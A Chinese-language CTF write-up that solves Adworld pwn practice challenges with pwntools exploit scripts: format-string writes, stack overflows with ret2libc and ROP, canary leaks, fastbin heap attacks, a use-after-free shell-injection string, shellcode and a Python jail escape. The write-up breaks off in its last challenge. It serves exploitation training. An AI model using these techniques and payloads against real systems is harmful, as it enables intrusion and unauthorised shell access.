adworld pwn 題解

新手練習(xí)

CGfsb

簡單的格式化字符串

from pwn import *
p = process("cgfsb")
p = remote("111.198.29.45",32128)
p.sendline("123")
p.sendline(p32(0x0804A068)+"%4c%10$n")
p.interactive()

get_shell

nc 上去直接 cat flag

hello_pwn

溢出即可

from pwn import *
# p = process("./hello_pwn")
p = remote("111.198.29.45",32145)
p.sendline('a'*4+p64(0x6E756161))
p.interactive()

when_did_you_born

from pwn import *

# context.log_level="debug"
# p = process('./when_did_you_born')
p = remote("111.198.29.45",30140)

payload = "a"*8+p32(1926)
p.recv()
p.sendline("1111")
p.recv()
p.sendline(payload)

p.interactive()

level0

from pwn import *

# context.log_level="debug"
# p = process('./level0')
p = remote("111.198.29.45", 30142)

payload = "a"*0x88+p64(0x400596)

p.sendline(payload)

p.interactive()

level2

from pwn import *

# context.log_level="debug"
# p = process('./level2')
elf = ELF('./level2')
p = remote("111.198.29.45", 30143)
binbash = 0x804A024

payload = "a"*(0x88+4)+p32(elf.plt['system'])+p32(0xdeadbeef)+p32(binbash)
p.recv()
p.sendline(payload)

p.interactive()

string

? 這道題目話太多了:(熏矿,實際上就是一個格式化字符串漏洞的利用,修改v3處的值為85即可。

from pwn import *

# context.log_level="debug"
# a = process('./string')
a = remote("111.198.29.45",30155)
a.recvuntil("secret[0] is ")
v3_addr=a.recvuntil("\n")
v3_addr="0x"+v3_addr[:-1]
v3_address=eval(v3_addr)
a.recvuntil("What should your character's name be:\n")
a.sendline("a")
a.recvuntil("So, where you will go?east or up?:\n")
a.send("east\n")
a.recvuntil("go into there(1), or leave(0)?:\n")
a.send("1\n")
a.recvuntil("'Give me an address'\n")
a.send(str(v3_address)+"\n")
a.recvuntil("you wish is:\n")

payload="%085d%7$n"
a.sendline(payload)

a.recvuntil("Wizard: I will help you! USE YOU SPELL\n")
a.sendline("\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05")

a.interactive()

guess_num

? 先看下程序邏輯,漏洞點在于輸入name的時候存在溢出,能夠?qū)V械碾S機數(shù)種子覆蓋掉,然后就能夠猜出數(shù)字了。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  FILE *v3; // rdi
  const char *v4; // rdi
  int v6; // [rsp+4h] [rbp-3Ch]
  int i; // [rsp+8h] [rbp-38h]
  int v8; // [rsp+Ch] [rbp-34h]
  char v9; // [rsp+10h] [rbp-30h]
  unsigned int seed[2]; // [rsp+30h] [rbp-10h]
  unsigned __int64 v11; // [rsp+38h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  v3 = stderr;
  setbuf(stderr, 0LL);
  v6 = 0;
  v8 = 0;
  *(_QWORD *)seed = sub_BB0(v3, 0LL);
  puts("-------------------------------");
  puts("Welcome to a guess number game!");
  puts("-------------------------------");
  puts("Please let me know your name!");
  printf("Your name:");
  gets(&v9);
  v4 = (const char *)seed[0];
  srand(seed[0]);
  for ( i = 0; i <= 9; ++i )
  {
    v8 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v6);
    puts("---------------------------------");
    if ( v6 != v8 )
    {
      puts("GG!");
      exit(1);
    }
    v4 = "Success!";
    puts("Success!");
  }
  sub_C3E(v4);
  return 0LL;
}

? 這道題和后面萌新入坑一道題非常像螺戳,就是溢出覆蓋隨機數(shù)種子為0,然后本地根據(jù)0生成隨機數(shù)種子即可折汞。

  • 生成隨機數(shù)的c程序:
#include<stdlib.h>
#include<time.h>

int main(){
    int seed[2];
    * seed = time(0);
    srand(0);
    //srand(time(0));
    int i = 0;
    for(i=0;i<50;i++){
        printf("%d\n",rand()%6+1);
    }
    return 0;
}
  • exp腳本
from pwn import *

context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')

# p = process("./guess_num.dms")
p = remote("111.198.29.45",31403)
p.recvuntil("Your name:")
p.sendline("a"*0x20+p64(0))
# p.sendline("aaa")
# gdb.attach(p)
for i in range(10):
    p.recvuntil('guess number:')
    p.sendline(str(a[i]))

p.interactive()

int_overflow

? 這道題目主要利用的是整數(shù)溢出:

char *__cdecl check_passwd(char *password)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(password);                        // 這里返回值是使用al寄存器存儲的倔幼,在大于255的時候會發(fā)生溢出,變成一個很小的數(shù)
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, password);
  }
  return result;
}

? 簡單普及下整數(shù)溢出的知識爽待,這道題目就是利用上溢的知識繞過長度的檢查损同,造成溢出:

  • 上溢 運算后超過所能表示的上限,變成了一個很小的數(shù)
  • 下溢 運算后超過所能表示的下限鸟款,變成了一個很大的數(shù)
from pwn import *

# context.log_level="debug"


# p = process("./int_overflow.dms")
flag = 0x804868B
p = remote("111.198.29.45",31431) 
p.sendline("1")
p.recvuntil("username:")
p.sendline("aaaa")
p.recvuntil("passwd:")
payload = "a"*0x18 + p32(flag)
p.sendline(payload.ljust(260,"a"))

p.interactive()

? 這里需要注意的是要控制溢出之后的長度在3和8之間膏燃。

cgpwn2

? 把 /bin/sh 字符串寫到 bss 段,使用溢出調(diào)用system函數(shù)的時候?qū)?bss 段 name 的地址當作參數(shù)傳入即可何什。

from pwn import *

# context.log_level="debug"
# p = process("./cgpwn2.dms")
elf = ELF("./cgpwn2.dms")
p = remote("111.198.29.45",31484) 
p.recvuntil("please tell me your name")
p.sendline("/bin/sh")
p.recvuntil("hello,you can leave some message here:")
p.sendline("a"*0x2a + p32(elf.symbols['system']) + p32(0xdeadbeef) + p32(0x804A080))

p.interactive()

level3

? 溢出但是沒有給出libc组哩,可以先利用write函數(shù)泄漏其在內(nèi)存中的地址,根據(jù)偏移推算出libc在內(nèi)存中的基地址(查詢網(wǎng)站 https://libc.blukat.me)处渣,然后就能得到system函數(shù)和bin_sh字符串在內(nèi)存中的實際地址伶贰,再次溢出即可getshell

from pwn import *

context.log_level="debug"


# p = process("./level3.dms")
elf = ELF("./level3.dms")
p = remote("111.198.29.45",31489) 
p.recvuntil("Input:")
p.sendline("a"*(0x88+4) + p32(elf.plt['write']) + p32(0x8048484) + p32(1) + p32(elf.got['write']) + p32(4))
print "---------------"
p.recv()
write_addr = u32(p.recvuntil('Input:\n',drop=True))
print "write_addr:",hex(write_addr)
libc_addr = write_addr - 0x0d43c0
print "libc_addr:",hex(libc_addr)
sys_addr = libc_addr + 0x03a940
binsh_addr = libc_addr + 0x15902b

p.sendline("a"*(0x88+4) + p32(sys_addr) + p32(0x8048484) + p32(binsh_addr))
# gdb.attach(p)

p.interactive()

萌新入坑

pwn2

主要分兩步

  1. getlibc
  2. getshell

基礎(chǔ)功能:

? 簡單來說就是可以進行增刪改查,存在漏洞的地方是改的時候能夠?qū)е露岩绯龌舯龋ㄟ^溢出修改 pre_size 和 pre_inuse 可以造成 overlapping幕袱。程序開啟了 pie暴备,沒辦法獲取進程在內(nèi)存中的基地址悠瞬,但是我們可以通過溢出控制 fd,使用 fastbin attack,將 malloc_hook 處改寫為 one_gadget 來 getshell.

from pwn import *
context.log_level = "debug"

# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")


def new(size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(str(size))
    p.sendline(content)

def edit(index,size,content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(content)

def printt(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(index))


def delete(index):
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(index))

使用后向合并獲取libc基地址:

new(0x100,"0"*0xff) # 0
new(0x100,"1"*0xff) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
edit(0,0x111,'0'*0x100 + p64(0x110) + p64(0x221))
delete(1)
new(0x100,"4"*0xff) # 4
printt(2)
libc_base = hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()

使用前向合并獲取libc基地址:

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 5
printt(1)
print hex(u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88)
gdb.attach(p)
p.interactive()

這里是構(gòu)造類似如下chunk結(jié)構(gòu):

  • 由于free B的時候浅妆,根據(jù)修改的pre_size會向前去找x的前后chunk能否合并望迎,并且查看A是否處于空閑狀態(tài)是根據(jù)B堆塊的pre_inuse位判斷的,所以要在x和A之間加一個fastbin使其safe unlink凌外,或者在修改b的pre_inuse之前就free x

  • 最后free b觸發(fā)向前合并之前辩尊,先free掉x,通過safe unlink操作把堆塊x從freelist中卸下康辑。為了safe unlink不會出錯摄欲,比較方便的方法是讓x處于空閑狀態(tài)。故我們應(yīng)該在釋放堆塊B之前釋放x疮薇,這樣堆塊x到堆塊B的整個空間就都被釋放掉了胸墙。不然的 unlink x的時候其fd和bk不能通過安全檢查。

最開始想用 fastbindouble free 的按咒,寫到最后突然想到不能控制 __free_hook 附近的 size值迟隅,malloc的時候會拋出異常,囧励七。智袭。程序開啟了pie,指向堆塊的指針都在程序的bss段掠抬, unlink也不行:

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)

new(0x10,"6"*0xf) # 3
new(0x10,"7"*0xf) # 5

delete(1)
delete(5)
delete(3)

new(0x10,p64(libc_base+libc.symbols["__free_hook"]-0x10)+"6"*0x7) # 3
new(0x10,"8"*0xf) # 3
new(0x10,"9"*0xf) # 3

new(0x10,p64(0x45216)+"a"*0x7) # 3

delete(0)
gdb.attach(p)

p.interactive()

后來調(diào)試發(fā)現(xiàn)可以利用__malloc_hook之前 -0x23的位置剛好全為0吼野,且后邊有 0x7f 可以組合作為size字段(fastbin attack只檢查 size 字段較高2字節(jié)所以低2字節(jié)的f沒有影響),因此構(gòu)造大小為60的 fastbin chunk

pwndbg> x /10gx 0x7f8dcf9b7ae0
0x7f8dcf9b7ae0 <_IO_wide_data_0+288>:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7af0 <_IO_wide_data_0+304>:    0x00007f8dcf9b6260    0x0000000000000000
0x7f8dcf9b7b00 <__memalign_hook>:    0x00007f8dcf678e20    0x00007f8dcf678a00
0x7f8dcf9b7b10 <__malloc_hook>:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7b20 <main_arena>:    0x0000000000000000    0x0000000000000000

pwndbg> x /10gx 0x7f8dcf9b7aed
0x7f8dcf9b7aed <_IO_wide_data_0+301>:    0x8dcf9b6260000000    0x000000000000007f
0x7f8dcf9b7afd:    0x8dcf678e20000000    0x8dcf678a0000007f
0x7f8dcf9b7b0d <__realloc_hook+5>:    0x000000000000007f    0x0000000000000000
0x7f8dcf9b7b1d:    0x0000000000000000    0x0000000000000000
0x7f8dcf9b7b2d <main_arena+13>:    0x0000000000000000    0x0000000000000000

exp:

from pwn import *
context.log_level = "debug"

# p = process('./babyheap')
p = remote("111.198.29.45",32049)
libc = ELF("libc-2.23.so")


def new(size,content):
    p.recvuntil(">> ")
    p.sendline("1")
    p.sendline(str(size))
    p.sendline(content)

def edit(index,size,content):
    p.recvuntil(">> ")
    p.sendline("2")
    p.sendline(str(index))
    p.sendline(str(size))
    p.sendline(content)

def printt(index):
    p.recvuntil(">> ")
    p.sendline("3")
    p.sendline(str(index))


def delete(index):
    p.recvuntil(">> ")
    p.sendline("4")
    p.sendline(str(index))

new(0x100,"0"*0xff) # 0
new(0x10,"1"*0xf) # 1
new(0x100,"2"*0xff) # 2
new(0x100,"3"*0xff) # 3
new(0x10,"4"*0xf) # 4

edit(2,0x111,'2'*0x100 + p64(0x240) + p64(0x110))
delete(0)
delete(3)

new(0x100,"5"*0xff) # 0
printt(1)
libc_base = u64(p.recv(6).ljust(8,'\x00'))- (libc.symbols["__malloc_hook"]) - 0x10 - 88
print hex(libc_base)

new(0x200,"5"*0x1ff) # 0
new(0x60,"5"*0x5f) # 0
new(0x60,"5"*0x5f) # 0

delete(6)
edit(5,0x79,0x60*'a' + p64(0x60) + p64(0x71) + p64(libc_base+libc.symbols["__malloc_hook"] - 0x23))
new(0x60,'b'*0x5f)
payload = "\x00" *0x13 + p64(libc_base + 0x4526a)
payload = payload.ljust(0x5f,"\x00")
print hex(libc.symbols["__malloc_hook"]+libc_base)
new(0x60,payload)
p.recvuntil(">> ")
p.sendline("1")
p.sendline(str(0x66))
# gdb.attach(p)

p.interactive()

dice_game

主函數(shù)邏輯都在main函數(shù)中两波,在輸入name的時候存在棧溢出箫锤,輸入name后,會進入執(zhí)行游戲的函數(shù)雨女,大體猜數(shù)字谚攒,根據(jù)輸入的數(shù)字和隨機數(shù)生成的數(shù)字比較,猜對50次就給出flag:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )                               // 名字小于49 最后追加終止符氛堕,存在棧溢出
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = play_game();
    fflush(stdout);
    if ( v5 != 1 )                              // 贏得50次游戲 打印出flag
      break;
    if ( v8 == 50 )
    {
      get_flag((__int64)buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

? 考慮利用的方式馏臭,因為time(0)是能預(yù)測的,所以寫個簡單程序把隨機數(shù)預(yù)測出來就行讼稚,最開始因為程序里 srand 初始化使用的是 time(0)括儒,想著不用溢出也行。后來試了下本地可以锐想,遠程不行帮寻,可能是服務(wù)器和本地 time(0) 的返回值不同,還是老老實實溢出修改初始化隨機數(shù)種子把赠摇。

#include<stdlib.h>
#include<time.h>

int main(){
    int seed[2];
    * seed = time(0);
    srand(0);
    //srand(time(0));
    int i = 0;
    for(i=0;i<50;i++){
        printf("%d\n",rand()%6+1);
    }
    return 0;
}

exp:

from pwn import *

context.log_level="debug"
g = process('./a.out')# ,env={'LD_PRELOAD':'./libc.so.6'})
a = g.recv().split('\n')

# p = process("./dice_game")
p = remote("111.198.29.45",32149)
p.recv()
p.sendline("a"*0x40+p64(0))
# p.sendline("aaa")

for i in range(50):
    p.recvuntil('Give me the point(1~6): ')
    p.sendline(str(a[i]))

p.interactive()

pwn-100

? ida打開固逗,程序就是一個棧溢出浅蚪,首先檢查下防護,沒有 canary 和 pie烫罩,可以用rop惜傲,64位程序找下傳參的gadget。

nevv@nevv:~/Desktop$ checksec pwn100
[*] '/home/nevv/Desktop/pwn100'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

nevv@nevv:~/Desktop$ ROPgadget --binary pwn100 | grep "pop rdi"
0x0000000000400763 : pop rdi ; ret

? 發(fā)現(xiàn)有 pop rdi贝攒,那么可以通過puts函數(shù)打印出某個函數(shù)的got表地址處的值盗誊,然后就可以根據(jù)偏移得到 libc 的基地址。

exp:

from pwn import *

# context.log_level="debug"
# p = process('./pwn100')
elf = ELF("./pwn100")
p = remote("111.198.29.45", 30042)

payload = ("1"*0x48 + p64(0x400763) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x400550)).ljust(200)
p.sendline(payload)

p.recvuntil('~\n')

puts_addr =  u64(p.recv()[-7:-1].ljust(8,"\x00"))
libc_base =  puts_addr - 0x06f690
print "libc_base", hex(libc_base)
system = libc_base + 0x045390
print "system", hex(system)
bin_sh = libc_base + 0x18cd57
print "bin_sh", hex(bin_sh)

payload = ("2"*0x47 + p64(0x400763) + p64(bin_sh) + p64(system) + p64(0xdeadbeef)).ljust(200)
p.sendline(payload)

p.interactive()

? 這里最開始 get shell 一直失敗隘弊,后來調(diào)試過程中發(fā)現(xiàn)第二次輸入的時候 buf 最低為有一個 0x0a 回車符哈踱,所以前邊得填充 0x47 個字符。

# 用下邊第二段payload進行調(diào)試
payload = '2'*8
p.sendline(payload)
gdb.attach(p)
p.interactive()

? 調(diào)試中間信息:可以看到第二次輸入的起始位置有一個回車符 :(

05:0028│ rbp    0x7ffd08abad10 —? 0x7ffd08abad60 —? 0x7ffd08abad80 —? 0x400700 ?— push   r15
06:0030│        0x7ffd08abad18 —? 0x4006ac ?— mov    edi, 0x400784
07:0038│        0x7ffd08abad20 ?— '\n22222222\n'
08:0040│ rsi-2  0x7ffd08abad28 ?— 0xa32 /* '2\n' */
09:0048│        0x7ffd08abad30 ?— 0x0

Mary_Morton

? 根據(jù) ida 反匯編結(jié)果來看梨熙,主要想讓你做的就是利用一個格式化字符串漏洞和棧溢出漏洞來執(zhí)行到目標函數(shù)嚣鄙,程序沒有開啟pie,開啟了canary串结。不過我們可以根據(jù)格式化字符串漏洞將cannary的值打印出來哑子,溢出的時候再寫回去即可。

from pwn import *

context.log_level="debug"
# p = process("./mary_morton")
elf = ELF("./mary_morton")
p = remote("111.198.29.45",31556) 
p.recv()
p.sendline("2")
p.sendline("%23$p")
p.recvuntil("0x")
cannary = p.recv(16)
cannary = p64(int("0x"+cannary,16))
# gdb.attach(p)
p.sendline("1")
payload = "a"*0x88 + cannary + p64(0xdeadbeef) + p64(0x4008de)
p.sendline(payload)
p.interactive()

stack2

打開題目肌割,功能是輸入一些數(shù)卧蜓,用一個棧上的數(shù)組存儲,然后計算平均數(shù)把敞,你可以修改輸入的數(shù)弥奸,在修改的地方存在越界寫,ida下反匯編文件可以看到:

int hackhere()
{
  return system("/bin/bash");
}

? 因此我們只需要將函數(shù)的返回地址覆蓋寫為system函數(shù)的地址即可奋早,exp如下:

from pwn import *

context.log_level = "debug"

system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
    p.sendline("3")
    p.recvuntil("to change:")
    p.sendline(str(idx))
    p.recvuntil("new number:")
    p.sendline(str(value))
    p.recvuntil("5. exit")

p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))


change(0x84,0x9b)
change(0x84+1,0x85)
change(0x84+2,0x04)
change(0x84+3,0x08)

# gdb.attach(p)
p.sendline("5")

p.interactive()

? 這里我本地可以getshell盛霎,但是遠程連接服務(wù)器的時候會報錯 ,找不到/bin/sh文件耽装,應(yīng)該是本地和遠程的環(huán)境不一樣:

 [DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/bash: not found\n'

? 所以只能調(diào)用system函數(shù)愤炸,然后重新給它傳sh作為參數(shù)了:

from pwn import *

context.log_level = "debug"

system_addr = 0x804859B
# p = process("stack2.dms")
p = remote("111.198.29.45",32420)
def change(idx, value):
    p.sendline("3")
    p.recvuntil("to change:")
    p.sendline(str(idx))
    p.recvuntil("new number:")
    p.sendline(str(value))
    p.recvuntil("5. exit")

p.recvuntil("you have:")
p.sendline(str(1))
p.recvuntil("Give me your numbers\n")
p.sendline(str(12))

# system_addr
change(0x84,0x50)
change(0x84+1,0x84)
change(0x84+2,0x04)
change(0x84+3,0x08)

# sh_addr
change(0x84+8,0x87)
change(0x84+9,0x89)
change(0x84+10,0x04)
change(0x84+11,0x08)


# gdb.attach(p)
p.sendline("5")

p.interactive()

warmup

? 簡單的溢出控制返回地址為 0x40060d 處的 get flag 函數(shù)即可。

from pwn import *

context.log_level = "debug"

p= remote("111.198.29.45", 32656)
# p = process("warmup.dms")
p.recv()
p.sendline("q"*0x48+p64(0x40060d))
p.interactive()

forgot

? 先checksec一下掉奄,沒開pie和canary规个,基本上可以確定是棧溢出。

from pwn import *

context.log_level = "debug"

p= remote("111.198.29.45", 30003)
# p = process("forgot.dms")
p.recv()
p.sendline("a"*67+p32(0x80486CC))
print p.recv()
# gdb.attach(p)
p.interactive()

echo

? 本地可以姓建,遠程不行诞仓,一臉懵逼。

from pwn import *

context.log_level = "debug"

# p= remote("111.198.29.45", 30050)
p = process("echo.dms")
p.sendline("a"*(0x3a+4)+p32(0x804854D))
# gdb.attach(p)
print p.recv()
# p.interactive()

Escape_From_Jail-50

? 考察python語言 getattr 函數(shù)獲取類的成員屬性值

getattr(os,"system")("/bin/sh")

babyfengshui

簡單分析程序速兔,發(fā)現(xiàn)使用的是如下結(jié)構(gòu)體:

struct user{
    char *descript;
    char name[0x7c];
}

問題出在修改結(jié)構(gòu)體的地方:

unsigned int __cdecl update(unsigned __int8 a1)
{
  char v2; // [esp+17h] [ebp-11h]
  int v3; // [esp+18h] [ebp-10h]
  unsigned int v4; // [esp+1Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  if ( a1 < (unsigned __int8)user_num && ptr[a1] )
  {
    v3 = 0;
    printf("text length: ");
    __isoc99_scanf("%u%c", &v3, &v2);
    if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
    {
      puts("my l33t defenses cannot be fooled, cya!");
      exit(1);
    }
    printf("text: ");
    sub_80486BB(*(char **)ptr[a1], v3 + 1);
  }
  return __readgsdword(0x14u) ^ v4;

上述對修改長度的安全假設(shè)是建立在 description 和 user 結(jié)構(gòu)題在內(nèi)存中是緊鄰的情況墅拭,當分配再釋放一些堆塊后,兩者之間可能存在別的堆塊涣狗,這個時候就能夠造成溢出谍婉,修改中間結(jié)構(gòu)體的內(nèi)容舒憾。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

io = process(['./babyfengshui.dms'])
elf = ELF('./babyfengshui.dms')
io = remote("111.198.29.45",30364)

def add_user(size, length, text):
    io.sendlineafter("Action: ", '0')
    io.sendlineafter("description: ", str(size))
    io.sendlineafter("name: ", 'AAAA')
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

def delete_user(idx):
    io.sendlineafter("Action: ", '1')
    io.sendlineafter("index: ", str(idx))

def display_user(idx):
    io.sendlineafter("Action: ", '2')
    io.sendlineafter("index: ", str(idx))

def update_desc(idx, length, text):
    io.sendlineafter("Action: ", '3')
    io.sendlineafter("index: ", str(idx))
    io.sendlineafter("length: ", str(length))
    io.sendlineafter("text: ", text)

if __name__ == "__main__":
    add_user(0x80, 0x80, 'AAAA')        # 0
    add_user(0x80, 0x80, 'AAAA')        # 1
    add_user(0x8, 0x8, '/bin/sh\x00')   # 2
    delete_user(0)
    add_user(0x100, 0x19c, "A"*0x198 + p32(elf.got['free']))    # 0
    # gdb.attach(io)

    display_user(1)
    io.recvuntil("description: ")
    free_addr = u32(io.recvn(4))
    print hex(free_addr)
    system_addr = free_addr - (0x070750 - 0x03a940)
    log.info("system address: 0x%x" % system_addr)

    update_desc(1, 0x4, p32(system_addr))
    delete_user(2)

    io.interactive()

time_formatter

? 打印函數(shù)的功能是通過調(diào)用system函數(shù)實現(xiàn)的,其command參數(shù)是dword_602120和ptr屡萤,其中這兩個參數(shù)是我們通過 set_time 函數(shù)和 time_format 函數(shù)控制的珍剑,其中 set_time 函數(shù)在輸入之后是轉(zhuǎn)換為了 int 類型存儲的掸宛,ptr 雖然是以字符串類型存儲的死陆,但是在最開始的時候進行了輸入的檢查,不能輸入非法字符唧瘾。

__int64 __fastcall print_time(__int64 a1, __int64 a2, __int64 a3)
{
  char command; // [rsp+8h] [rbp-810h]
  unsigned __int64 v5; // [rsp+808h] [rbp-10h]

  v5 = __readfsqword(0x28u);
  if ( ptr )
  {
    __snprintf_chk(&command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", (unsigned int)dword_602120, ptr, a3);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", &command);
    setenv("TZ", value, 1);
    system(&command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

? 在 exit 函數(shù)的位置我們能看到一個明顯的漏洞措译,就是程序是先 free 掉內(nèi)存,然后再詢問你是不是要退出的饰序,如果不退出领虹,程序繼續(xù)正常執(zhí)行,存在 uaf 漏洞求豫,我們就可以先 time_format塌衰,選擇 exit,然后不退出再次選擇 set_time_zone蝠嘉,此時申請的內(nèi)存是之前 free 掉的 set_time 申請的內(nèi)存最疆,而這個函數(shù)沒有檢查輸入合法性,因此可以 getshell蚤告。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

p = process('time_formatter.dms')
p = remote("111.198.29.45", 30543)
def time_format(s):
    p.recv()
    p.sendline("1")
    p.recvuntil("Format:")
    p.sendline(s)

def set_time_zone(s):
    p.recv()
    p.sendline("3")
    p.recvuntil("zone:")
    p.sendline(s)

def print_time():
    p.recv()
    p.sendline("4")

def exit():
    p.recv()
    p.sendline("5")
    p.recv()
    p.sendline("n")

time_format("%Y")
exit()
set_time_zone("' 123 || /bin/sh || \\")
print_time()
p.interactive()

? 在傳遞 /bin/sh 參數(shù)的時候注意下引號的閉合努酸。

Pwn1 babystack

? 簡單棧溢出,泄漏出canary后杜恰,leak 出 puts 函數(shù)的地址获诈,然后計算出 libc 的基地址,使用 onegadget 即可心褐。

#!/usr/bin/env python

from pwn import *

context.log_level = 'debug'

p = process('babystack')
e = ELF("babystack")
p = remote("111.198.29.45", 30105)

pop_rdi = 0x400a93

def pstore(s):
    p.recv()
    p.sendline("1")
    p.sendline(s)

def printt():
    p.sendline("2")


pstore("a"*0x88)
printt()
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n")
canary = u64(p.recv(7).rjust(8,"\x00"))

print "canary is: ", hex(canary)
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(pop_rdi) + p64(e.got["puts"]) + p64(e.plt['puts']) + p64(0x0400908))
p.recv()
p.sendline("3")
p.recvuntil(">> ")
puts_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_addr = puts_addr - 0x06f690
print "puts is: ",hex(puts_addr)
print "libc is: ",hex(libc_addr)
one = libc_addr + 0x45216
pstore("a"*0x88 + p64(canary) + "b"*8 + p64(one))
p.recv()
p.sendline("3")
# gdb.attach(p)
p.interactive()

AUL

應(yīng)該是 lua 語言的程序舔涎,nc 連接上去直接:

os.execute("cat flag")

100levels

nevv@ubuntu:~/Desktop$ checksec 100levels
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[!] An issue occurred while checking PyPI
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/Desktop/100levels'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

? 程序在 question 的時候存在溢出,聯(lián)系到之前程序的安全機制逗爹,應(yīng)該是 bypass pie

_BOOL8 __fastcall question(signed int a1)
{
  int v2; // eax
  __int64 v3; // rax
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  __int64 v7; // [rsp+28h] [rbp-18h]
  unsigned int v8; // [rsp+34h] [rbp-Ch]
  unsigned int v9; // [rsp+38h] [rbp-8h]
  unsigned int v10; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  if ( !a1 )
    return 1LL;
  if ( (unsigned int)question((unsigned int)(a1 - 1)) == 0 )
    return 0LL;
  v10 = rand() % a1;
  v2 = rand();
  v9 = v2 % a1;
  v8 = v2 % a1 * v10;
  puts("====================================================");
  printf("Level %d\n", (unsigned int)a1);
  printf("Question: %d * %d = ? Answer:", v10, v9);
  read(0, &buf, 0x400uLL);
  v3 = strtol((const char *)&buf, 0LL, 10);
  return v3 == v8;
}

? 根據(jù)bypass pie的思路终抽,應(yīng)該是泄漏出某個libc基址,既然是想leak出地址桶至,看到hint函數(shù)中昼伴,會判斷bss段某個變量是不是0,如果不是就打印system函數(shù)地址镣屹,但是由于沒什么好的辦法寫bss段圃郊,繼續(xù)仔細查看程序發(fā)現(xiàn)從 hint 函數(shù)再進入 go 函數(shù)的時候由于棧沒有變化,也就是說 go 函數(shù)和 hint 函數(shù)兩者的椗冢空間是一樣的持舆。go 函數(shù)的部分反匯編代碼如下:

